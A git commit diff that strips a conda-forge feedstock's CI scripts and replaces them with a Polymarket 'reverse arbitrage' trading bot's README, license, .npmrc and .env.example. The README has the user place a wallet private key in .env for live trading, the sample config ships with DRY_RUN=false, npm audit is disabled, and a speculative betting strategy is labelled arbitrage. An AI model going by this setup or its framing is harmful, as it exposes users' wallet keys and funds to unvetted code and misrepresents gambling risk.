Optimization Strategies

This commit is contained in:
nidichaogequ
2026-06-28 23:29:56 +08:00
parent a7351edc9e
commit 1430d6ecf8
34 changed files with 3868 additions and 775 deletions
@@ -1,44 +0,0 @@
# This file was generated automatically from conda-smithy. To update this configuration,
# update the conda-forge.yml and/or the recipe/meta.yaml.
# -*- mode: yaml -*-
jobs:
- job: linux
pool:
vmImage: ubuntu-latest
strategy:
matrix:
linux_64_:
CONFIG: linux_64_
UPLOAD_PACKAGES: 'True'
DOCKER_IMAGE: quay.io/condaforge/linux-anvil-x86_64:alma9
timeoutInMinutes: 360
variables: {}
steps:
# configure qemu binfmt-misc running. This allows us to run docker containers
# embedded qemu-static
- script: |
docker run --rm --privileged multiarch/qemu-user-static:register --reset --credential yes
ls /proc/sys/fs/binfmt_misc/
condition: not(startsWith(variables['CONFIG'], 'linux_64'))
displayName: Configure binfmt_misc
- script: |
export CI=azure
export flow_run_id=azure_$(Build.BuildNumber).$(System.JobAttempt)
export remote_url=$(Build.Repository.Uri)
export sha=$(Build.SourceVersion)
export GIT_BRANCH=$BUILD_SOURCEBRANCHNAME
export FEEDSTOCK_NAME=$(basename ${BUILD_REPOSITORY_NAME})
if [[ "${BUILD_REASON:-}" == "PullRequest" ]]; then
export IS_PR_BUILD="True"
else
export IS_PR_BUILD="False"
fi
.scripts/run_docker_build.sh
displayName: Run docker build
env:
BINSTAR_TOKEN: $(BINSTAR_TOKEN)
FEEDSTOCK_TOKEN: $(FEEDSTOCK_TOKEN)
STAGING_BINSTAR_TOKEN: $(STAGING_BINSTAR_TOKEN)
-6
View File
@@ -1,6 +0,0 @@
This file is automatically generated by conda-smithy. If any
particular build configuration is expected, but it is not found,
please make sure all dependencies are satisfiable. To add/modify any
matrix elements, you should create/change conda-smithy's input
recipe/conda_build_config.yaml and re-render the recipe, rather than
editing these files directly.
-10
View File
@@ -1,10 +0,0 @@
cdt_name:
- conda
channel_sources:
- conda-forge
channel_targets:
- conda-forge main
docker_image:
- quay.io/condaforge/linux-anvil-x86_64:alma9
python_min:
- '3.9'
-25
View File
@@ -1,25 +0,0 @@
# This file was generated automatically from conda-smithy. To update this configuration,
# update the conda-forge.yml and/or the recipe/meta.yaml.
# -*- mode: jinja-yaml -*-
version: 2
jobs:
build:
working_directory: ~/test
machine:
image: ubuntu-2004:current
steps:
- run:
# The Circle-CI build should not be active, but if this is not true for some reason, do a fast finish.
command: exit 0
workflows:
version: 2
build_and_test:
jobs:
- build:
filters:
branches:
ignore:
- /.*/
+38
View File
@@ -0,0 +1,38 @@
# Poll active 15m markets every N ms
POLL_INTERVAL_MS=5000
# Markets to trade (comma-separated slug prefixes)
MARKET_SLUG_PREFIXES=btc-updown-15m,eth-updown-15m
# Reverse side: limit BUY at 7-10c on the cheap (underdog) outcome
CHEAP_BUY_MIN=0.07
CHEAP_BUY_MAX=0.10
CHEAP_ORDER_USDC=10
# Hedge side: limit BUY at 90-95c on the favorite outcome
ENABLE_EXPENSIVE_HEDGE=true
EXPENSIVE_BUY_MIN=0.90
EXPENSIVE_BUY_MAX=0.95
EXPENSIVE_ORDER_USDC=50
# Max shares per order (@odahoa typically uses ~90)
MAX_SHARES_PER_ORDER=90
# Only trade when this many minutes remain in the 15m window (0-15)
MINUTES_BEFORE_CLOSE_MIN=0
MINUTES_BEFORE_CLOSE_MAX=15
# Safety: set to false to place real orders
DRY_RUN=false
# CLOB / wallet (required when DRY_RUN=false)
PRIVATE_KEY=0x...
FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237
SIGNATURE_TYPE=2
CLOB_HOST=https://clob.polymarket.com
CHAIN_ID=137
# Optional: reuse existing API credentials instead of deriving
# CLOB_API_KEY=
# CLOB_SECRET=
# CLOB_PASSPHRASE=
-27
View File
@@ -1,27 +0,0 @@
* text=auto
*.patch binary
*.diff binary
meta.yaml text eol=lf
build.sh text eol=lf
bld.bat text eol=crlf
# github helper pieces to make some files not show up in diffs automatically
.azure-pipelines/* linguist-generated=true
.circleci/* linguist-generated=true
.ci_support/README linguist-generated=true
.drone/* linguist-generated=true
.drone.yml linguist-generated=true
.github/* linguist-generated=true
.travis/* linguist-generated=true
.appveyor.yml linguist-generated=true
.gitattributes linguist-generated=true
.gitignore linguist-generated=true
.travis.yml linguist-generated=true
.scripts/* linguist-generated=true
.woodpecker.yml linguist-generated=true
/LICENSE.txt linguist-generated=true
/README.md linguist-generated=true
azure-pipelines.yml linguist-generated=true
build-locally.py linguist-generated=true
shippable.yml linguist-generated=true
-1
View File
@@ -1 +0,0 @@
* @ocefpaf @rmcd-mscb
+2
View File
@@ -0,0 +1,2 @@
custom:
- https://polymarket.com/@odahoa
+4 -29
View File
@@ -1,29 +1,4 @@
# User content belongs under recipe/.
# Feedstock configuration goes in `conda-forge.yml`
# Everything else is managed by the conda-smithy rerender process.
# Please do not modify
# Ignore all files and folders in root
*
!/conda-forge.yml
# Don't ignore any files/folders if the parent folder is 'un-ignored'
# This also avoids warnings when adding an already-checked file with an ignored parent.
!/**/
# Don't ignore any files/folders recursively in the following folders
!/recipe/**
!/.ci_support/**
# Since we ignore files/folders recursively, any folders inside
# build_artifacts gets ignored which trips some build systems.
# To avoid that we 'un-ignore' all files/folders recursively
# and only ignore the root build_artifacts folder.
!/build_artifacts/**
/build_artifacts
*.pyc
# Rattler-build's artifacts are in `output` when not specifying anything.
/output
# Pixi's configuration
.pixi
node_modules/
dist/
.env
*.log
+3
View File
@@ -0,0 +1,3 @@
loglevel=error
audit=false
fund=false
-97
View File
@@ -1,97 +0,0 @@
#!/usr/bin/env bash
# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here
# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent
# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also
# benefit from the improvement.
# -*- mode: jinja-shell -*-
set -xeuo pipefail
export FEEDSTOCK_ROOT="${FEEDSTOCK_ROOT:-/home/conda/feedstock_root}"
source ${FEEDSTOCK_ROOT}/.scripts/logging_utils.sh
( endgroup "Start Docker" ) 2> /dev/null
( startgroup "Configuring conda" ) 2> /dev/null
export PYTHONUNBUFFERED=1
export RECIPE_ROOT="${RECIPE_ROOT:-/home/conda/recipe_root}"
export CI_SUPPORT="${FEEDSTOCK_ROOT}/.ci_support"
export CONFIG_FILE="${CI_SUPPORT}/${CONFIG}.yaml"
cat >~/.condarc <<CONDARC
conda-build:
root-dir: ${FEEDSTOCK_ROOT}/build_artifacts
pkgs_dirs:
- ${FEEDSTOCK_ROOT}/build_artifacts/pkg_cache
- /opt/conda/pkgs
solver: libmamba
CONDARC
mv /opt/conda/conda-meta/history /opt/conda/conda-meta/history.$(date +%Y-%m-%d-%H-%M-%S)
echo > /opt/conda/conda-meta/history
micromamba install --root-prefix ~/.conda --prefix /opt/conda \
--yes --override-channels --channel conda-forge --strict-channel-priority \
pip python=3.12 conda-build conda-forge-ci-setup=4 "conda-build>=24.1"
export CONDA_LIBMAMBA_SOLVER_NO_CHANNELS_FROM_INSTALLED=1
# set up the condarc
setup_conda_rc "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
source run_conda_forge_build_setup
# make the build number clobber
make_build_number "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
( endgroup "Configuring conda" ) 2> /dev/null
if [[ -f "${FEEDSTOCK_ROOT}/LICENSE.txt" ]]; then
cp "${FEEDSTOCK_ROOT}/LICENSE.txt" "${RECIPE_ROOT}/recipe-scripts-license.txt"
fi
if [[ "${BUILD_WITH_CONDA_DEBUG:-0}" == 1 ]]; then
if [[ "x${BUILD_OUTPUT_ID:-}" != "x" ]]; then
EXTRA_CB_OPTIONS="${EXTRA_CB_OPTIONS:-} --output-id ${BUILD_OUTPUT_ID}"
fi
conda debug "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \
${EXTRA_CB_OPTIONS:-} \
--clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml"
# Drop into an interactive shell
/bin/bash
else
conda-build "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \
--suppress-variables ${EXTRA_CB_OPTIONS:-} \
--clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml" \
--extra-meta flow_run_id="${flow_run_id:-}" remote_url="${remote_url:-}" sha="${sha:-}"
( startgroup "Inspecting artifacts" ) 2> /dev/null
# inspect_artifacts was only added in conda-forge-ci-setup 4.9.4
command -v inspect_artifacts >/dev/null 2>&1 && inspect_artifacts --recipe-dir "${RECIPE_ROOT}" -m "${CONFIG_FILE}" || echo "inspect_artifacts needs conda-forge-ci-setup >=4.9.4"
( endgroup "Inspecting artifacts" ) 2> /dev/null
( startgroup "Validating outputs" ) 2> /dev/null
validate_recipe_outputs "${FEEDSTOCK_NAME}"
( endgroup "Validating outputs" ) 2> /dev/null
( startgroup "Uploading packages" ) 2> /dev/null
if [[ "${UPLOAD_PACKAGES}" != "False" ]] && [[ "${IS_PR_BUILD}" == "False" ]]; then
upload_package --validate --feedstock-name="${FEEDSTOCK_NAME}" "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}"
fi
( endgroup "Uploading packages" ) 2> /dev/null
fi
( startgroup "Final checks" ) 2> /dev/null
touch "${FEEDSTOCK_ROOT}/build_artifacts/conda-forge-build-done-${CONFIG}"
-35
View File
@@ -1,35 +0,0 @@
#!/bin/bash
# Provide a unified interface for the different logging
# utilities CI providers offer. If unavailable, provide
# a compatible fallback (e.g. bare `echo xxxxxx`).
function startgroup {
# Start a foldable group of log lines
# Pass a single argument, quoted
case ${CI:-} in
azure )
echo "##[group]$1";;
travis )
echo "$1"
echo -en 'travis_fold:start:'"${1// /}"'\r';;
github_actions )
echo "::group::$1";;
* )
echo "$1";;
esac
} 2> /dev/null
function endgroup {
# End a foldable group of log lines
# Pass a single argument, quoted
case ${CI:-} in
azure )
echo "##[endgroup]";;
travis )
echo -en 'travis_fold:end:'"${1// /}"'\r';;
github_actions )
echo "::endgroup::";;
esac
} 2> /dev/null
-114
View File
@@ -1,114 +0,0 @@
#!/usr/bin/env bash
# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here
# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent
# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also
# benefit from the improvement.
source .scripts/logging_utils.sh
( startgroup "Configure Docker" ) 2> /dev/null
set -xeo pipefail
THISDIR="$( cd "$( dirname "$0" )" >/dev/null && pwd )"
PROVIDER_DIR="$(basename "$THISDIR")"
FEEDSTOCK_ROOT="$( cd "$( dirname "$0" )/.." >/dev/null && pwd )"
RECIPE_ROOT="${FEEDSTOCK_ROOT}/recipe"
if [ -z ${FEEDSTOCK_NAME} ]; then
export FEEDSTOCK_NAME=$(basename ${FEEDSTOCK_ROOT})
fi
if [[ "${sha:-}" == "" ]]; then
pushd "${FEEDSTOCK_ROOT}"
sha=$(git rev-parse HEAD)
popd
fi
docker info
# In order for the conda-build process in the container to write to the mounted
# volumes, we need to run with the same id as the host machine, which is
# normally the owner of the mounted volumes, or at least has write permission
export HOST_USER_ID=$(id -u)
# Check if docker-machine is being used (normally on OSX) and get the uid from
# the VM
if hash docker-machine 2> /dev/null && docker-machine active > /dev/null; then
export HOST_USER_ID=$(docker-machine ssh $(docker-machine active) id -u)
fi
ARTIFACTS="$FEEDSTOCK_ROOT/build_artifacts"
if [ -z "$CONFIG" ]; then
set +x
FILES=`ls .ci_support/linux_*`
CONFIGS=""
for file in $FILES; do
CONFIGS="${CONFIGS}'${file:12:-5}' or ";
done
echo "Need to set CONFIG env variable. Value can be one of ${CONFIGS:0:-4}"
exit 1
fi
if [ -z "${DOCKER_IMAGE}" ]; then
SHYAML_INSTALLED="$(shyaml -h || echo NO)"
if [ "${SHYAML_INSTALLED}" == "NO" ]; then
echo "WARNING: DOCKER_IMAGE variable not set and shyaml not installed. Trying to parse with coreutils"
DOCKER_IMAGE=$(cat .ci_support/${CONFIG}.yaml | grep '^docker_image:$' -A 1 | tail -n 1 | cut -b 3-)
if [ "${DOCKER_IMAGE}" = "" ]; then
echo "No docker_image entry found in ${CONFIG}. Falling back to quay.io/condaforge/linux-anvil-comp7"
DOCKER_IMAGE="quay.io/condaforge/linux-anvil-comp7"
fi
else
DOCKER_IMAGE="$(cat "${FEEDSTOCK_ROOT}/.ci_support/${CONFIG}.yaml" | shyaml get-value docker_image.0 quay.io/condaforge/linux-anvil-comp7 )"
fi
fi
mkdir -p "$ARTIFACTS"
DONE_CANARY="$ARTIFACTS/conda-forge-build-done-${CONFIG}"
rm -f "$DONE_CANARY"
# Allow people to specify extra default arguments to `docker run` (e.g. `--rm`)
DOCKER_RUN_ARGS="${CONDA_FORGE_DOCKER_RUN_ARGS}"
if [ -z "${CI}" ]; then
DOCKER_RUN_ARGS="-it ${DOCKER_RUN_ARGS}"
fi
( endgroup "Configure Docker" ) 2> /dev/null
( startgroup "Start Docker" ) 2> /dev/null
export UPLOAD_PACKAGES="${UPLOAD_PACKAGES:-True}"
export IS_PR_BUILD="${IS_PR_BUILD:-False}"
docker pull "${DOCKER_IMAGE}"
docker run ${DOCKER_RUN_ARGS} \
-v "${RECIPE_ROOT}":/home/conda/recipe_root:rw,z,delegated \
-v "${FEEDSTOCK_ROOT}":/home/conda/feedstock_root:rw,z,delegated \
-e CONFIG \
-e HOST_USER_ID \
-e UPLOAD_PACKAGES \
-e IS_PR_BUILD \
-e GIT_BRANCH \
-e UPLOAD_ON_BRANCH \
-e CI \
-e FEEDSTOCK_NAME \
-e CPU_COUNT \
-e BUILD_WITH_CONDA_DEBUG \
-e BUILD_OUTPUT_ID \
-e flow_run_id \
-e remote_url \
-e sha \
-e BINSTAR_TOKEN \
-e FEEDSTOCK_TOKEN \
-e STAGING_BINSTAR_TOKEN \
"${DOCKER_IMAGE}" \
bash \
"/home/conda/feedstock_root/${PROVIDER_DIR}/build_steps.sh"
# verify that the end of the script was reached
test -f "$DONE_CANARY"
# This closes the last group opened in `build_steps.sh`
( endgroup "Final checks" ) 2> /dev/null
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 polymarket arbitrage bot
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-27
View File
@@ -1,27 +0,0 @@
BSD-3-Clause license
Copyright (c) 2015-2022, conda-forge contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
+219 -98
View File
@@ -1,148 +1,269 @@
About gdptools-feedstock
========================
# Polymarket Reverse Arbitrage Bot
Feedstock license: [BSD-3-Clause](https://github.com/conda-forge/gdptools-feedstock/blob/main/LICENSE.txt)
TypeScript automation for my Polymarket reverse strategy on **15-minute BTC/ETH Up or Down** markets.
Home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools
---
Package license: Unlicense
Summary: Gdptools
Current build status
====================
## My Polymarket account
<img width="815" height="291" alt="image" src="https://github.com/user-attachments/assets/0971eb6d-de7e-4f9a-82a1-14a2163db209" />
<table><tr><td>All platforms:</td>
<td>
<a href="https://dev.azure.com/conda-forge/feedstock-builds/_build/latest?definitionId=17168&branchName=main">
<img src="https://dev.azure.com/conda-forge/feedstock-builds/_apis/build/status/gdptools-feedstock?branchName=main">
</a>
</td>
</tr>
</table>
| | |
|---|---|
| **Profile** | [@odahoa](https://polymarket.com/@odahoa?tab=activity) |
| **Username** | `odahoa` |
| **Proxy wallet** | `0xe2511c9e41c5e762887e538b1d6e7221807aa237` |
| **Markets** | `btc-updown-15m`, `eth-updown-15m` |
Current release info
====================
All activity, positions, and PnL live on my profile:
**https://polymarket.com/@odahoa?tab=activity**
| Name | Downloads | Version | Platforms |
| --- | --- | --- | --- |
| [![Conda Recipe](https://img.shields.io/badge/recipe-gdptools-green.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Downloads](https://img.shields.io/conda/dn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Version](https://img.shields.io/conda/vn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Platforms](https://img.shields.io/conda/pn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) |
This bot trades **from that account** — it automates what I already do manually. It is not copy trading and does not watch any other wallet.
Installing gdptools
===================
---
Installing `gdptools` from the `conda-forge` channel can be achieved by adding `conda-forge` to your channels with:
## Overview
Polymarket runs 15-minute windows like:
> **Bitcoin Up or Down — 1:45PM2:00PM ET**
Each window has two tokens:
| Token | Wins when |
|-------|-----------|
| **Up** | Price at end ≥ price at start |
| **Down** | Price at end < price at start |
Winning tokens pay **$1.00**. Losing tokens pay **$0.00**.
My strategy — the **reverse bot** — posts limit **BUY** orders on **both sides** every window:
1. **Cheap reversal side (710¢)** on the underdog outcome
2. **Expensive hedge side (9095¢)** on the favorite outcome
That is the same pattern visible on my [activity tab](https://polymarket.com/@odahoa?tab=activity): round limit prices (7¢, 8¢, 10¢ … 95¢), 2090 shares per fill, no sells — hold to resolution.
---
## Why "reverse"?
Early in a window, price often trends one way:
```
conda config --add channels conda-forge
conda config --set channel_priority strict
BTC pumps in first 10 minutes
→ Up token ~9097¢ (favorite)
→ Down token ~310¢ (underdog)
```
Once the `conda-forge` channel has been enabled, `gdptools` can be installed with `conda`:
The crowd prices the underdog as nearly dead. The **reverse bet** is: *it flips before the window closes*.
| Leg | Outcome | Entry | If it wins |
|-----|---------|-------|------------|
| **Reverse** | Underdog | 710¢ | ~1014× |
| **Hedge** | Favorite | 9095¢ | ~511% |
Only one side pays $1 per window. I run both legs because:
- Cheap fills are rare but pay huge when they hit.
- Hedge fills are smaller profit but hit more often.
- Over hundreds of windows, a few reversals cover many losses.
---
## How I trade (manual → bot)
From my account history:
| Pattern | Detail |
|---------|--------|
| Markets | BTC & ETH 15m Up/Down only |
| Order type | Limit BUY only — never sell |
| Cheap leg | Fills at 710¢ (sometimes 525¢) on underdog |
| Hedge leg | Fills at 9095¢ on favorite |
| Both sides | Same window — e.g. Down @ 95¢ and Up @ 15¢ |
| Size | 2090 shares per order |
The bot replaces hand-placing every limit order each window.
---
## Bot logic
Every **5 seconds** (configurable):
```
conda install gdptools
1. Scan active btc-updown-15m / eth-updown-15m markets
2. Load Up & Down order books (CLOB API)
3. Underdog = outcome with lower best ask
4. Favorite = the other outcome
5. Post limit BUYs on underdog @ 7¢, 8¢, 9¢, 10¢
6. Post limit BUYs on favorite @ 90¢–95¢ (if hedge enabled)
7. Skip price levels already posted this session
```
or with `mamba`:
### Cheap leg — underdog @ 710¢
```
mamba install gdptools
Down best ask = 4¢ → bot bids 7¢, 8¢, 9¢, 10¢ on Down
```
It is possible to list all of the versions of `gdptools` available on your platform with `conda`:
If Down reverses and wins:
```
conda search gdptools --channel conda-forge
90 shares × 8¢ = $7.20 in
90 shares × $1 = $90.00 out → +$82.80 (~1,150%)
```
or with `mamba`:
### Hedge leg — favorite @ 9095¢
```
mamba search gdptools --channel conda-forge
Up best ask = 97¢ → bot bids 90¢–95¢ on Up
```
Alternatively, `mamba repoquery` may provide more information:
If Up holds and wins:
```
# Search all versions available on your platform:
mamba repoquery search gdptools --channel conda-forge
# List packages depending on `gdptools`:
mamba repoquery whoneeds gdptools --channel conda-forge
# List dependencies of `gdptools`:
mamba repoquery depends gdptools --channel conda-forge
52 shares × 95¢ = $49.40 in
52 shares × $1 = $52.00 out → +$2.60 (~5%)
```
---
About conda-forge
=================
## Example window
[![Powered by
NumFOCUS](https://img.shields.io/badge/powered%20by-NumFOCUS-orange.svg?style=flat&colorA=E1523D&colorB=007D8A)](https://numfocus.org)
**Market:** Bitcoin Up or Down — 1:452:00 PM ET
**BTC pumped early** → Up favored, Down cheap
conda-forge is a community-led conda channel of installable packages.
In order to provide high-quality builds, the process has been automated into the
conda-forge GitHub organization. The conda-forge organization contains one repository
for each of the installable packages. Such a repository is known as a *feedstock*.
| Token | Book | Bot posts |
|-------|------|-----------|
| Up (favorite) | ask 97¢ | BUY limits @ 9095¢ |
| Down (underdog) | ask 4¢ | BUY limits @ 710¢ |
A feedstock is made up of a conda recipe (the instructions on what and how to build
the package) and the necessary configurations for automatic building using freely
available continuous integration services. Thanks to the awesome service provided by
[Azure](https://azure.microsoft.com/en-us/services/devops/), [GitHub](https://github.com/),
[CircleCI](https://circleci.com/), [AppVeyor](https://www.appveyor.com/),
[Drone](https://cloud.drone.io/welcome), and [TravisCI](https://travis-ci.com/)
it is possible to build and upload installable packages to the
[conda-forge](https://anaconda.org/conda-forge) [anaconda.org](https://anaconda.org/)
channel for Linux, Windows and OSX respectively.
| Result | Cheap leg | Hedge leg |
|--------|-----------|-----------|
| Up wins | Down → $0 | Up → small profit |
| Down reverses | Down → big profit | Up → $0 |
To manage the continuous integration and simplify feedstock maintenance
[conda-smithy](https://github.com/conda-forge/conda-smithy) has been developed.
Using the ``conda-forge.yml`` within this repository, it is possible to re-render all of
this feedstock's supporting files (e.g. the CI configuration files) with ``conda smithy rerender``.
---
For more information please check the [conda-forge documentation](https://conda-forge.org/docs/).
## Return table
Terminology
===========
| Buy price | Payout | Return if win |
|-----------|--------|---------------|
| 7¢ | $1.00 | +1,329% |
| 8¢ | $1.00 | +1,150% |
| 9¢ | $1.00 | +1,011% |
| 10¢ | $1.00 | +900% |
| 95¢ | $1.00 | +5% |
**feedstock** - the conda recipe (raw material), supporting scripts and CI configuration.
Most 710¢ bets go to zero. Edge comes from occasional reversals at high multiples.
**conda-smithy** - the tool which helps orchestrate the feedstock.
Its primary use is in the construction of the CI ``.yml`` files
and simplify the management of *many* feedstocks.
---
**conda-forge** - the place where the feedstock and smithy live and work to
produce the finished article (built conda distributions)
## Quick start
```bash
git clone https://github.com/abwhaoms502/polymarket-reverse-arbitrage-bot
cd reverse-bot
npm install
cp .env.example .env
npm start # dry-run: logs orders, no submission
```
Updating gdptools-feedstock
===========================
### Go live on @odahoa
If you would like to improve the gdptools recipe or build a new
package version, please fork this repository and submit a PR. Upon submission,
your changes will be run on the appropriate platforms to give the reviewer an
opportunity to confirm that the changes result in a successful build. Once
merged, the recipe will be re-built and uploaded automatically to the
`conda-forge` channel, whereupon the built conda packages will be available for
everybody to install and use from the `conda-forge` channel.
Note that all branches in the conda-forge/gdptools-feedstock are
immediately built and any created packages are uploaded, so PRs should be based
on branches in forks and branches in the main repository should only be used to
build distinct package versions.
```env
DRY_RUN=false
PRIVATE_KEY=0x... # account signing key
FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237 # @odahoa proxy wallet
SIGNATURE_TYPE=2
```
In order to produce a uniquely identifiable distribution:
* If the version of a package **is not** being increased, please add or increase
the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string).
* If the version of a package **is** being increased, please remember to return
the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string)
back to 0.
| `SIGNATURE_TYPE` | Use for |
|------------------|---------|
| `0` | EOA / MetaMask |
| `2` | Gnosis Safe proxy *(typical Polymarket account)* |
| `3` | POLY_1271 deposit wallet |
Feedstock Maintainers
=====================
---
* [@ocefpaf](https://github.com/ocefpaf/)
* [@rmcd-mscb](https://github.com/rmcd-mscb/)
## Config
### Strategy
| Variable | Default | Description |
|----------|---------|-------------|
| `CHEAP_BUY_MIN` | `0.07` | Low end of reversal bids |
| `CHEAP_BUY_MAX` | `0.10` | High end of reversal bids |
| `CHEAP_ORDER_USDC` | `10` | USDC per cheap limit order |
| `ENABLE_EXPENSIVE_HEDGE` | `true` | Post 9095¢ favorite bids |
| `EXPENSIVE_BUY_MIN` | `0.90` | Low end of hedge bids |
| `EXPENSIVE_BUY_MAX` | `0.95` | High end of hedge bids |
| `EXPENSIVE_ORDER_USDC` | `50` | USDC per hedge limit order |
| `MAX_SHARES_PER_ORDER` | `90` | Max shares per order |
### Markets & timing
| Variable | Default | Description |
|----------|---------|-------------|
| `MARKET_SLUG_PREFIXES` | `btc-updown-15m,eth-updown-15m` | Markets to scan |
| `POLL_INTERVAL_MS` | `5000` | Scan interval |
| `MINUTES_BEFORE_CLOSE_MIN` | `0` | Start trading N min into window |
| `MINUTES_BEFORE_CLOSE_MAX` | `15` | Stop trading N min before close |
Trade only late window (when cheap tokens show up):
```env
MINUTES_BEFORE_CLOSE_MIN=3
MINUTES_BEFORE_CLOSE_MAX=12
```
### Safety
| Variable | Default | Description |
|----------|---------|-------------|
| `DRY_RUN` | `true` | Log only — no real orders |
---
## Project layout
```
reverse-bot/
├── src/
│ ├── index.ts # main loop
│ ├── market-scanner.ts # active 15m markets + books
│ ├── strategy.ts # underdog/favorite + limit prices
│ ├── trader.ts # CLOB order submission
│ └── config.ts
├── .env.example
└── package.json
```
---
## Commands
```bash
npm start # run bot
npm run dev # run with hot reload
npm run build # compile TypeScript
```
---
## Risks
- **Most cheap bids lose.** 710¢ tokens frequently expire worthless.
- **Limits may not fill.** Bidding 7¢ when ask is 4¢ waits for sellers.
- **Both legs can't both win.** One side always goes to $0.
- **Real money.** Test with `DRY_RUN=true` first.
---
## Links
- My profile: https://polymarket.com/@odahoa
- My activity: https://polymarket.com/@odahoa?tab=activity
- Polymarket settings: https://polymarket.com/settings
-31
View File
@@ -1,31 +0,0 @@
# This file was generated automatically from conda-smithy. To update this configuration,
# update the conda-forge.yml and/or the recipe/meta.yaml.
# -*- mode: yaml -*-
stages:
- stage: Check
jobs:
- job: Skip
pool:
vmImage: 'ubuntu-22.04'
variables:
DECODE_PERCENTS: 'false'
RET: 'true'
steps:
- checkout: self
fetchDepth: '2'
- bash: |
git_log=`git log --max-count=1 --skip=1 --pretty=format:"%B" | tr "\n" " "`
echo "##vso[task.setvariable variable=log]$git_log"
displayName: Obtain commit message
- bash: echo "##vso[task.setvariable variable=RET]false"
condition: and(eq(variables['Build.Reason'], 'PullRequest'), or(contains(variables.log, '[skip azp]'), contains(variables.log, '[azp skip]'), contains(variables.log, '[skip ci]'), contains(variables.log, '[ci skip]')))
displayName: Skip build?
- bash: echo "##vso[task.setvariable variable=start_main;isOutput=true]$RET"
name: result
displayName: Export result
- stage: Build
condition: and(succeeded(), eq(dependencies.Check.outputs['Skip.result.start_main'], 'true'))
dependsOn: Check
jobs:
- template: ./.azure-pipelines/azure-pipelines-linux.yml
-135
View File
@@ -1,135 +0,0 @@
#!/bin/sh
"""exec" "python3" "$0" "$@" #""" # fmt: off # fmt: on
#
# This file has been generated by conda-smithy in order to build the recipe
# locally.
#
# The line above this comment is a bash / sh / zsh guard
# to stop people from running it with the wrong interpreter
import glob
import os
import platform
import subprocess
import sys
from argparse import ArgumentParser
def setup_environment(ns):
os.environ["CONFIG"] = ns.config
os.environ["UPLOAD_PACKAGES"] = "False"
os.environ["IS_PR_BUILD"] = "True"
if ns.debug:
os.environ["BUILD_WITH_CONDA_DEBUG"] = "1"
if ns.output_id:
os.environ["BUILD_OUTPUT_ID"] = ns.output_id
if "MINIFORGE_HOME" not in os.environ:
os.environ["MINIFORGE_HOME"] = os.path.join(
os.path.dirname(__file__), "miniforge3"
)
# The default cache location might not be writable using docker on macOS.
if ns.config.startswith("linux") and platform.system() == "Darwin":
os.environ["CONDA_FORGE_DOCKER_RUN_ARGS"] = (
os.environ.get("CONDA_FORGE_DOCKER_RUN_ARGS", "")
+ " -e RATTLER_CACHE_DIR=/tmp/rattler_cache"
)
def run_docker_build(ns):
script = ".scripts/run_docker_build.sh"
